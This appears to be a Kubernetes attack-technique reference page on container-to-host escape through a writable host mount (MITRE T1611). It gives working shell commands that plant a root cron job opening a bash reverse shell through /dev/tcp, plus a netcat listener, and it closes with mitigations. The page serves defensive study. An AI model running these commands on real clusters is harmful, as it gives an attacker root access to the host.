title |
---|
EXPLOIT_HOST_WRITE |
Source | Destination | MITRE ATT&CK |
---|---|---|
Container | Node | Escape to Host, T1611 |
Exploit an arbitrary write from a sensitive host path mounted into the container to gain execution on the host.
If a sensitive host directory is mounted in a container with write permissions there are a huge variety of techniques to achieve execution within a container. Given the array of techniques available we choose to assume that any writeable mount in a container is exploitable unless it corresponds to an entry in the "known-good" list of mounts. For illustration purposes we will consider an escape to host via creating a cron job to launch a reverse shell as the host's superuser if the host /etc
directory is mounted with write permissions.
Execution within a container with a sensitive host directory mounted with write permissions.
See the example pod spec.
Check for interesting mounted volumes in the container as decribed in VOLUME_DISCOVER
Assuming the /etc/cron.d
directory or any parent is mounted with write access, we can achieve execution on the host as follows. First, resolve the container ip address:
CONTAINER_ADDRESS=$(ifconfig eth0 | grep inet | cut -d: -f2 | awk '{ print $2}')
Then, create a cronjob to trigger a reverse shell connection from the host to our container:
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo -n "(hostname) " >> /host-etc/cron.d/breakout
echo -n "$" >> /host-etc/cron.d/breakout
echo "(id)\" >& /dev/tcp/${CONTAINER_ADDRESS}/1337 0>&1'" >> /host-etc/cron.d/breakout
netcat -l -p 1337 2>&1
- Leverage cloud workload security solutions to monitor for malicious activity on the host
Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath
mount of /
or other sensitive locations.
Avoid running containers as the root
user. Enforce running as an unprivileged user account using the runAsNonRoot
setting inside securityContext
(or explicitly setting runAsUser
to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false
is set in securityContext
to prevent a container running as an unprivileged user from being able to escalate to running as the root
user.